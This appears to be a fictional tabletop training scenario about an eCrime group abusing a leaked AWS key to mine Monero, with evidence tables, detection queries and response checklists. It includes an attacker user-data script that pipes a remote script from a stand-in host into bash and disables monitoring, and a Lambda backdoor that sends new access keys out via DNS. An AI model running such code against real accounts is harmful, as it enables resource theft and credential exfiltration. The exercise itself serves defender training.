SC-027: Cloud Cryptomining Infrastructure Abuse¶
Scenario Header
Type: Cloud / Financial Abuse | Difficulty: ★★★★☆ | Duration: 3–4 hours | Participants: 4–8
Threat Actor: COIN SHADOW — financially motivated eCrime group specializing in cloud resource abuse
Primary ATT&CK Techniques: T1496 · T1078.004 · T1578 · T1204
Threat Actor Profile¶
COIN SHADOW is an opportunistic eCrime group active since 2023, exclusively focused on compromising cloud accounts to deploy cryptocurrency mining infrastructure. Unlike targeted APT groups, COIN SHADOW operates at scale — using automated tooling to continuously scan for exposed cloud credentials in public repositories, CI/CD logs, and paste sites, then rapidly deploying mining workloads before the account owner detects the abuse.
The group operates a sophisticated automation platform capable of deploying mining infrastructure across AWS, Azure, and GCP simultaneously. Their tooling automatically selects the highest-value instance types (GPU instances for Ethereum/Monero mining), distributes workloads across multiple regions to stay below per-region quotas, and rotates mining pool configurations to complicate attribution.
COIN SHADOW has been observed generating $50,000–$500,000 in fraudulent cloud charges per victim, with an average cloud bill impact of $127,000. They typically exhaust cloud service provider credit limits within 48–72 hours.
Motivation: Financial — cryptocurrency mining (primarily Monero via XMRig on CPUs, Ethereum via T-Rex on GPUs).
Estimated Revenue: $8M–$12M annually from ~200 compromised cloud accounts.
Target Environment¶
Organization: Stratos Analytics (fictional) — a data science startup with 85 employees, providing ML-powered analytics for the retail sector. Heavy cloud consumer with $40K/month baseline spend.
| Component | Detail |
|---|---|
| Cloud Provider | AWS (primary), single account — no AWS Organizations |
| Regions in Use | us-east-1, us-west-2 |
| Baseline Monthly Spend | ~$40,000 (EC2, S3, SageMaker) |
| IAM Configuration | 12 IAM users, 8 IAM roles, no MFA enforced on programmatic access |
| Instance Types | m5.xlarge (general), p3.2xlarge (ML training) — 15 running instances |
| Billing Alerts | Single alert at 150% of monthly budget ($60,000) |
| Security Tooling | AWS GuardDuty (enabled, default settings), no SIEM |
| Networking | Corporate VPN at 10.40.0.0/16, NAT Gateway egress at 198.51.100.40 |
| Source Code | Private GitHub repo, GitHub Actions for CI/CD |
| Compromised Credential | IAM Access Key AKIA4EXAMPLE1234567 — User: ml-pipeline-sa |
Scenario Narrative¶
Phase 1 — Credential Compromise (~25 min)¶
A junior data scientist at Stratos Analytics commits an AWS access key to a public GitHub repository. The key belongs to the ml-pipeline-sa IAM user, which is used for automated ML training pipeline operations. The commit message reads: "fix: update config for new training cluster."
The .env file containing the key is committed at 2026-03-05T09:22:00Z. Within 14 minutes, COIN SHADOW's automated scanner detects the exposed credential via the GitHub Events API (which streams all public events in real-time):
# Exposed in public commit
AWS_ACCESS_KEY_ID=AKIA4EXAMPLE1234567
AWS_SECRET_ACCESS_KEY=EXAMPLEKEY+abcdef1234567890EXAMPLE
AWS_DEFAULT_REGION=us-east-1
The ml-pipeline-sa user has the following IAM policy attached:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:*",
"s3:*",
"sagemaker:*",
"iam:PassRole",
"sts:GetCallerIdentity"
],
"Resource": "*"
}
]
}
The wildcard ec2:* permission is the critical misconfiguration — it allows the creation of any EC2 instance type in any region, including GPU instances that the ML pipeline never uses.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| GitHub Event | Push event — Repo: stratos-analytics/ml-pipeline (public) — File: .env — Author: jdoe-stratos — 2026-03-05T09:22:00Z |
| AWS CloudTrail | sts:GetCallerIdentity — User: ml-pipeline-sa — Source IP: 198.51.100.99 (COIN SHADOW) — 2026-03-05T09:36:14Z |
| AWS CloudTrail | ec2:DescribeRegions — User: ml-pipeline-sa — Source IP: 198.51.100.99 — 2026-03-05T09:36:16Z |
| AWS CloudTrail | ec2:DescribeInstanceTypeOfferings — All 24 AWS regions queried — User: ml-pipeline-sa — 2026-03-05T09:36:20Z |
| GitHub (post-incident) | Commit b4c7e21 removed .env — but key already exposed for 14 minutes — 2026-03-05T09:36:00Z |
Phase 1 — Discussion Inject
Technical: The AWS access key was committed to a public GitHub repository and detected within 14 minutes. What preventive controls (pre-commit hooks with git-secrets, GitHub Advanced Security secret scanning, .gitignore enforcement) would prevent credential exposure? How does AWS IAM Access Analyzer help identify overly permissive policies?
Decision: Your developer committed an AWS key to a public repo and then deleted it 14 minutes later. The developer believes the issue is resolved because the commit was reverted. How do you explain that credential rotation (not just deletion from the repo) is mandatory? What is the blast radius assessment process?
Expected Analyst Actions:
- [ ] Immediately rotate the exposed IAM access key — disable the old key
- [ ] Review CloudTrail for all API calls made with the compromised key
- [ ] Check GitHub event API for evidence of third-party access to the exposed commit
- [ ] Audit all IAM users for overly permissive policies (ec2:, s3:, etc.)
- [ ] Verify MFA enforcement on all IAM users and root account
Phase 2 — Mass GPU Instance Deployment (~35 min)¶
Within 22 minutes of validating the stolen credentials, COIN SHADOW's automation platform begins deploying GPU instances across 8 AWS regions simultaneously. The attacker's tooling is sophisticated — it:
- Queries
ec2:DescribeInstanceTypeOfferingsin each region to find available GPU instance types - Requests service quota increases via
servicequotas:RequestServiceQuotaIncreasefor GPU instances in regions where the current quota is zero - Creates new VPCs and security groups in each region (Stratos only uses 2 regions)
- Launches instances using the cheapest available GPU type in each region
The deployment pattern:
| Region | Instance Type | Count | Cost/hr (each) | GPU |
|---|---|---|---|---|
us-east-1 | p3.2xlarge | 20 | $3.06 | NVIDIA V100 |
us-east-2 | p3.2xlarge | 15 | $3.06 | NVIDIA V100 |
us-west-1 | g4dn.xlarge | 25 | $0.526 | NVIDIA T4 |
us-west-2 | p3.2xlarge | 20 | $3.06 | NVIDIA V100 |
eu-west-1 | g4dn.xlarge | 20 | $0.556 | NVIDIA T4 |
eu-central-1 | g4dn.xlarge | 15 | $0.578 | NVIDIA T4 |
ap-southeast-1 | g4dn.xlarge | 15 | $0.615 | NVIDIA T4 |
ap-northeast-1 | g4dn.xlarge | 10 | $0.71 | NVIDIA T4 |
Total: 140 GPU instances — estimated hourly cost: $347/hr ($8,328/day)
Each instance boots with a user-data script that automatically downloads and configures XMRig for Monero mining:
#!/bin/bash
# User-data script (COIN SHADOW automation)
apt-get update -qq && apt-get install -y -qq libhwloc-dev
curl -sL https://198.51.100.88/xmr-deploy.sh | bash -s -- \
--pool stratum+tcp://198.51.100.120:3333 \
--wallet 4EXAMPLE_MONERO_WALLET_ADDRESS_SYNTHETIC \
--threads $(nproc) \
--gpu auto \
--stealth true
# Disable CloudWatch agent to reduce visibility
systemctl stop amazon-cloudwatch-agent 2>/dev/null
systemctl disable amazon-cloudwatch-agent 2>/dev/null
Within 2 hours, all 140 instances are running XMRig at full capacity. The combined hash rate is approximately 280 KH/s (CPU) + 42 MH/s (GPU).
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| AWS CloudTrail | ec2:RunInstances × 140 — 8 regions — User: ml-pipeline-sa — Source IP: 198.51.100.99 — 2026-03-05T09:58:00Z to 10:22:00Z |
| AWS CloudTrail | ec2:CreateVpc × 6 — New VPCs in us-east-2, us-west-1, eu-west-1, eu-central-1, ap-southeast-1, ap-northeast-1 — 2026-03-05T09:55:00Z |
| AWS CloudTrail | ec2:CreateSecurityGroup × 8 — All regions — Inbound: 0.0.0.0/0:22 — 2026-03-05T09:56:00Z |
| AWS GuardDuty | Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration — Severity: High — 2026-03-05T10:15:00Z |
| AWS GuardDuty | Finding: CryptoCurrency:EC2/BitcoinTool.B!DNS — 47 instances — Severity: High — 2026-03-05T10:45:00Z |
| AWS Cost Explorer | Projected daily cost: $8,328 (baseline: $1,333/day) — 625% increase — 2026-03-05 |
Phase 2 — Discussion Inject
Technical: The attacker deployed 140 instances across 8 regions within 24 minutes. What AWS controls (Service Control Policies, EC2 instance type restrictions, regional deployment restrictions via SCPs, service quotas) would prevent mass instance deployment? How would AWS Organizations with SCPs change the outcome?
Decision: AWS GuardDuty generated two High-severity findings within 45 minutes of the attack beginning. Your team has no SOC, and GuardDuty notifications go to a shared email inbox. How do you design an alerting pipeline for a small team? What managed services or automation (AWS Security Hub, EventBridge → SNS → PagerDuty) would ensure rapid response?
Expected Analyst Actions:
- [ ] Terminate all unauthorized EC2 instances across all regions
- [ ] Delete attacker-created VPCs, security groups, and other resources
- [ ] Review GuardDuty findings for additional compromise indicators
- [ ] Check for IAM persistence (new IAM users, access keys, or roles created by attacker)
- [ ] Verify no data in S3 was accessed or exfiltrated using the compromised key
Phase 3 — Escalation & Persistence (~25 min)¶
While the mining operation runs, COIN SHADOW's tooling also establishes persistence to survive credential rotation:
- New IAM User: Creates
svc-monitoring-agentwithAdministratorAccesspolicy and generates access keys - Lambda Backdoor: Deploys a Lambda function
CloudWatchHealthCheckthat, when triggered daily by an EventBridge rule, creates new access keys for the attacker if the original keys are disabled - S3 Bucket for Mining Config: Creates
stratos-analytics-logs-backupbucket to host mining pool configurations and binaries
# Lambda function: CloudWatchHealthCheck (attacker deployed)
import boto3
import json
def lambda_handler(event, context):
iam = boto3.client('iam')
try:
# Check if primary key still works
sts = boto3.client('sts')
sts.get_caller_identity()
except:
# If primary key rotated, create new one
keys = iam.create_access_key(UserName='svc-monitoring-agent')
# Exfiltrate new key via DNS
import socket
key_id = keys['AccessKey']['AccessKeyId']
socket.getaddrinfo(f'{key_id}.keys.198.51.100.88.nip.io', 80)
return {'statusCode': 200}
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| AWS CloudTrail | iam:CreateUser — User: svc-monitoring-agent — Created by: ml-pipeline-sa — Source IP: 198.51.100.99 — 2026-03-05T10:05:22Z |
| AWS CloudTrail | iam:AttachUserPolicy — Policy: AdministratorAccess — User: svc-monitoring-agent — 2026-03-05T10:05:25Z |
| AWS CloudTrail | lambda:CreateFunction — Function: CloudWatchHealthCheck — Runtime: python3.12 — 2026-03-05T10:08:44Z |
| AWS CloudTrail | events:PutRule — Rule: CloudWatchHealthSchedule — Schedule: rate(6 hours) — 2026-03-05T10:09:01Z |
| AWS CloudTrail | s3:CreateBucket — Bucket: stratos-analytics-logs-backup — Region: us-east-1 — 2026-03-05T10:10:33Z |
| AWS GuardDuty | Finding: Persistence:IAMUser/UserPermissions — New IAM user with admin access — Severity: High — 2026-03-05T10:30:00Z |
Phase 3 — Discussion Inject
Technical: The attacker created a Lambda-based persistence mechanism that automatically generates new access keys if the original ones are rotated. How would you detect this? What IAM monitoring (CloudTrail analysis for CreateAccessKey, CreateUser, AttachUserPolicy) should be automated?
Decision: You need to revoke the attacker's access, but they have created multiple persistence mechanisms (new IAM user, Lambda backdoor, EventBridge rule). What is the correct order of operations for remediation? If you rotate keys before removing the Lambda backdoor, what happens?
Expected Analyst Actions:
- [ ] Identify all IAM users and roles created since the credential compromise
- [ ] Delete attacker-created IAM user
svc-monitoring-agentand its access keys - [ ] Delete Lambda function
CloudWatchHealthCheckand EventBridge rule - [ ] Delete attacker-created S3 bucket and all contents
- [ ] Review all Lambda functions for backdoor code
- [ ] Audit EventBridge rules for suspicious scheduled triggers
Phase 4 — Detection, Response & Financial Impact (~25 min)¶
Stratos Analytics' cloud bill escalates rapidly. The single billing alert at 150% ($60,000) fires on Day 3 — by which time the cumulative charges have already reached $24,984. The alert email goes to finance@stratos-analytics.example.com, where it sits unread until Monday morning (the alert fired on Saturday).
Financial Impact Timeline:
| Day | Daily Cost | Cumulative | Event |
|---|---|---|---|
| Day 1 (Wed) | $8,328 | $8,328 | Mining begins — no alerts |
| Day 2 (Thu) | $8,328 | $16,656 | GuardDuty findings generated — email unread |
| Day 3 (Fri) | $8,328 | $24,984 | Billing alert fires at 150% threshold — email sent |
| Day 4 (Sat) | $8,328 | $33,312 | Weekend — no one monitoring alerts |
| Day 5 (Sun) | $8,328 | $41,640 | Weekend — mining continues |
| Day 6 (Mon) | $8,328 | $49,968 | Finance team reads billing alert — escalates to IT |
| Day 6 (Mon+4h) | — | $49,968 | IT investigates — discovers unauthorized instances |
| Day 6 (Mon+6h) | — | $49,968 | Incident response begins — instances terminated |
| Days 7–30 | — | — | AWS support case for billing adjustment |
| Final | — | $49,968 | Total unauthorized charges (before AWS adjustment) |
After termination, Stratos Analytics discovers additional charges:
| Resource | Cost |
|---|---|
| EC2 GPU instances (140 × 5.5 days) | $45,804 |
| Data transfer (mining pool traffic) | $2,847 |
| S3 storage (mining binaries) | $12 |
| Lambda invocations | $0.18 |
| NAT Gateway traffic (attacker regions) | $1,305 |
| Total Unauthorized Charges | $49,968 |
AWS Support grants a one-time courtesy credit of $38,000 after reviewing CloudTrail evidence confirming unauthorized access. Stratos Analytics absorbs $11,968 in losses.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| AWS Billing Alert | Budget monthly-budget exceeded 150% — Forecasted: $289,000 — 2026-03-07T18:00:00Z (Saturday) |
| AWS Cost Explorer | EC2 spend by region — 6 new regions with zero historical baseline — 2026-03-05 to 2026-03-10 |
| AWS Support Case | Case #1234567890 — "Unauthorized EC2 usage — compromised IAM key" — Opened: 2026-03-10T15:30:00Z |
| AWS Credit Memo | One-time courtesy credit: $38,000 — "First-time unauthorized usage incident" — 2026-03-18 |
Phase 4 — Discussion Inject
Technical: The billing alert at 150% was the only financial control and it fired 3 days after the attack began. What billing alert strategy (multiple thresholds at 110%, 125%, 150%, anomaly-based daily alerts, per-service alerts) would provide earlier detection? How do AWS Budgets Actions (automatic remediation) help?
Decision: AWS granted a $38,000 courtesy credit, leaving $11,968 in unrecoverable charges. The compromised key was committed by a junior developer. How do you handle the human element — accountability without blame culture? What training and tooling investments would you make?
Expected Analyst Actions:
- [ ] Generate a complete Cost Explorer report grouped by region, service, and instance type
- [ ] Document all unauthorized resources for the AWS support case
- [ ] Verify all attacker-created resources have been terminated across all 24 regions
- [ ] Open AWS support case with CloudTrail evidence for billing adjustment
- [ ] Implement automated remediation for future billing anomalies
Indicators of Compromise (IOCs)¶
Synthetic IOCs — For Training Only
All indicators below are fictional and created for this exercise. Do not use in production detection systems.
| IOC Type | Value | Context |
|---|---|---|
| IP Address | 198.51.100.99 | COIN SHADOW automation platform |
| IP Address | 198.51.100.88 | Mining binary hosting server |
| IP Address | 198.51.100.120 | Monero mining pool proxy |
| IAM Access Key | AKIA4EXAMPLE1234567 | Compromised key (ml-pipeline-sa) |
| IAM Access Key | AKIA4EXAMPLE7654321 | Persistence key (svc-monitoring-agent) |
| IAM User | svc-monitoring-agent | Attacker-created persistence user |
| Lambda Function | CloudWatchHealthCheck | Persistence backdoor |
| EventBridge Rule | CloudWatchHealthSchedule | Triggers Lambda backdoor every 6 hours |
| S3 Bucket | stratos-analytics-logs-backup | Mining configuration storage |
| User-Data Script | curl -sL https://198.51.100.88/xmr-deploy.sh | Mining deployment script |
| Monero Wallet | 4EXAMPLE_MONERO_WALLET_ADDRESS_SYNTHETIC | Mining wallet (fictional) |
| Mining Pool | stratum+tcp://198.51.100.120:3333 | Mining pool endpoint |
Detection Opportunities¶
| Phase | Technique | ATT&CK | Detection Method | Difficulty |
|---|---|---|---|---|
| 1 | Credential exposure | T1552.001 | GitHub secret scanning, pre-commit hooks (git-secrets) | Easy |
| 1 | Valid cloud account usage | T1078.004 | CloudTrail: API calls from new/unexpected source IPs | Easy |
| 2 | Resource hijacking | T1496 | GuardDuty: CryptoCurrency findings, EC2 instance type anomaly | Easy |
| 2 | Modify cloud compute | T1578 | CloudTrail: RunInstances in unused regions, GPU instance creation | Easy |
| 3 | Create account persistence | T1136.003 | CloudTrail: CreateUser with AdministratorAccess | Easy |
| 3 | Lambda backdoor | T1078.004 | CloudTrail: CreateFunction from compromised identity | Medium |
| 4 | Financial anomaly | T1496 | AWS Budgets: daily cost anomaly detection | Easy |
| 4 | Mining pool traffic | T1496 | VPC Flow Logs: outbound stratum protocol connections | Medium |
SIEM Detection Queries¶
// Detect EC2 instance launches in unusual regions
AWSCloudTrail
| where EventName == "RunInstances"
| where AWSRegion !in ("us-east-1", "us-west-2")
| summarize InstanceCount = count() by AWSRegion, UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 1h)
| where InstanceCount > 5
| sort by InstanceCount desc
// Detect GPU instance launches
AWSCloudTrail
| where EventName == "RunInstances"
| where RequestParameters has_any ("p3.", "p4.", "g4dn.", "g5.", "p5.")
| project TimeGenerated, UserIdentityArn, SourceIpAddress, AWSRegion,
InstanceType = extract('"instanceType":"([^"]+)"', 1, RequestParameters)
| sort by TimeGenerated desc
// Detect IAM user creation with admin policy
AWSCloudTrail
| where EventName in ("CreateUser", "AttachUserPolicy")
| where RequestParameters has "AdministratorAccess"
| project TimeGenerated, UserIdentityArn, SourceIpAddress, EventName,
TargetUser = extract('"userName":"([^"]+)"', 1, RequestParameters)
// Detect API calls from unexpected source IPs
AWSCloudTrail
| where UserIdentityArn has "ml-pipeline-sa"
| where SourceIpAddress != "198.51.100.40"
| summarize EventCount = count(), Events = make_set(EventName) by SourceIpAddress, bin(TimeGenerated, 1h)
| sort by TimeGenerated desc
// Detect EC2 launches in unusual regions
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
NOT awsRegion IN ("us-east-1", "us-west-2")
| stats count as instance_count by awsRegion, userIdentity.arn, sourceIPAddress
| where instance_count > 5
| sort -instance_count
// Detect GPU instance type launches
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
requestParameters="*p3.*" OR requestParameters="*p4.*"
OR requestParameters="*g4dn.*" OR requestParameters="*g5.*"
| spath output=instance_type path=requestParameters.instanceType
| table _time, userIdentity.arn, sourceIPAddress, awsRegion, instance_type
// Detect new IAM users with admin policies
index=aws sourcetype=aws:cloudtrail
eventName=CreateUser OR eventName=AttachUserPolicy
requestParameters="*AdministratorAccess*"
| table _time, userIdentity.arn, sourceIPAddress, eventName, requestParameters
// Detect compromised key usage from unknown IPs
index=aws sourcetype=aws:cloudtrail
userIdentity.arn="*ml-pipeline-sa*"
NOT sourceIPAddress="198.51.100.40"
| stats count, values(eventName) as events by sourceIPAddress
| sort -count
ATT&CK Mapping¶
| Tactic | Technique | ID | Scenario Application |
|---|---|---|---|
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 | Compromised IAM access key from public GitHub repository |
| Execution | User Execution | T1204 | EC2 user-data script automatically deploys mining software |
| Persistence | Create Account: Cloud Account | T1136.003 | New IAM user svc-monitoring-agent with admin access |
| Persistence | Serverless Execution | T1648 | Lambda function as persistence backdoor |
| Defense Evasion | Modify Cloud Compute Infrastructure | T1578 | Instances deployed in unused regions to avoid monitoring |
| Defense Evasion | Impair Defenses | T1562.001 | CloudWatch agent disabled on mining instances |
| Impact | Resource Hijacking | T1496 | 140 GPU instances mining cryptocurrency — $49,968 in charges |
| Discovery | Cloud Infrastructure Discovery | T1580 | DescribeRegions, DescribeInstanceTypeOfferings enumeration |
Response Actions¶
Immediate Response (0–2 hours)
- [ ] Contain: Disable compromised IAM access key
AKIA4EXAMPLE1234567immediately - [ ] Contain: Delete attacker-created IAM user
svc-monitoring-agentand all its access keys - [ ] Contain: Delete Lambda function
CloudWatchHealthCheckand EventBridge rule - [ ] Contain: Terminate all unauthorized EC2 instances across ALL 24 AWS regions
- [ ] Contain: Delete attacker-created VPCs, security groups, and S3 buckets
- [ ] Detect: Review CloudTrail for any additional persistence mechanisms
Short-Term Response (2–48 hours)
- [ ] Investigate: Full CloudTrail analysis — enumerate all API calls from compromised key
- [ ] Investigate: Verify no data exfiltration from S3 buckets
- [ ] Investigate: Check for modified Lambda functions, EventBridge rules, or SNS topics
- [ ] Remediate: Rotate all IAM access keys across the organization
- [ ] Remediate: Enable MFA on all IAM users — enforce via IAM policy
- [ ] Financial: Open AWS support case with CloudTrail evidence for billing credit
- [ ] Financial: Document all unauthorized charges with timestamps and resource IDs
Long-Term Remediation (1–4 weeks)
- [ ] Harden: Implement AWS Organizations with SCPs restricting regions, instance types, and services
- [ ] Harden: Deploy pre-commit hooks (
git-secrets,trufflehog) on all developer workstations - [ ] Harden: Enable GitHub Advanced Security secret scanning on all repositories
- [ ] Harden: Implement least-privilege IAM policies — replace
ec2:*with specific actions - [ ] Harden: Configure multiple billing alerts (110%, 125%, 150%, 200%) with SNS → PagerDuty
- [ ] Harden: Enable AWS Budgets Actions to automatically restrict EC2 when budget exceeded
- [ ] Harden: Deploy GuardDuty findings to EventBridge → SNS → PagerDuty for real-time alerting
- [ ] Harden: Implement SCP to deny GPU instance types unless explicitly approved
- [ ] Train: Mandatory secure coding training for all developers — credential management module
Lessons Learned¶
What Went Well¶
- AWS GuardDuty detected the cryptocurrency mining activity within 45 minutes of instance launch
- CloudTrail provided complete audit trail for forensic investigation and AWS billing credit claim
- AWS Support granted a significant courtesy credit ($38,000) based on documented evidence
What Failed¶
- No secret scanning: No pre-commit hooks, no GitHub secret scanning — the exposed key was preventable
- Overly permissive IAM policy:
ec2:*onResource: *allowed the attacker to launch any instance in any region — the ML pipeline only neededRunInstancesfor specific instance types in 2 regions - Single billing alert at too high a threshold: 150% of monthly budget meant the alert did not fire until Day 3, by which time $25K in charges had accumulated
- No alerting pipeline for GuardDuty: Findings went to a shared email inbox, unmonitored on weekends
- No MFA on programmatic access: The compromised access key had no MFA requirement, allowing immediate use by the attacker
- No region restrictions: The AWS account had no Service Control Policies restricting which regions could be used
Key Takeaways¶
- Credential exposure is the fastest path to cloud compromise — pre-commit scanning and secret detection are essential controls with high ROI
- IAM least privilege prevents blast radius expansion — restricting
ec2:*to specific instance types and regions would have blocked the GPU deployment entirely - Billing monitoring is a security control — anomaly-based daily cost alerts detect resource hijacking faster than percentage-based monthly thresholds
- Alerting pipelines must be 24/7 — email-only alerting with no on-call rotation means weekend incidents go undetected for days
- AWS Organizations and SCPs are critical for governance — single-account setups lack the guardrails to prevent region and service sprawl
Discussion Questions¶
- The compromised IAM key had
ec2:*permissions. What is the practical process for implementing least-privilege IAM policies in a startup environment where developers prioritize speed? How do tools like IAM Access Analyzer and CloudTrail-based policy generation help? - COIN SHADOW's automation deployed 140 instances within 24 minutes. How would AWS Service Control Policies (SCPs) with region restrictions and instance type allow-lists prevent this? What SCPs would you deploy?
- The billing alert fired on Day 3 (Saturday) and went unread until Monday. Design a cost anomaly detection system that would have detected this within 2 hours of the attack beginning.
- The attacker created a Lambda-based persistence mechanism. How do you systematically audit for serverless persistence (Lambda, Step Functions, EventBridge) in AWS? What automation would you build?
- AWS granted a $38,000 courtesy credit. What if they hadn't? How does cyber insurance cover cloud resource abuse? What contractual protections should cloud customers negotiate?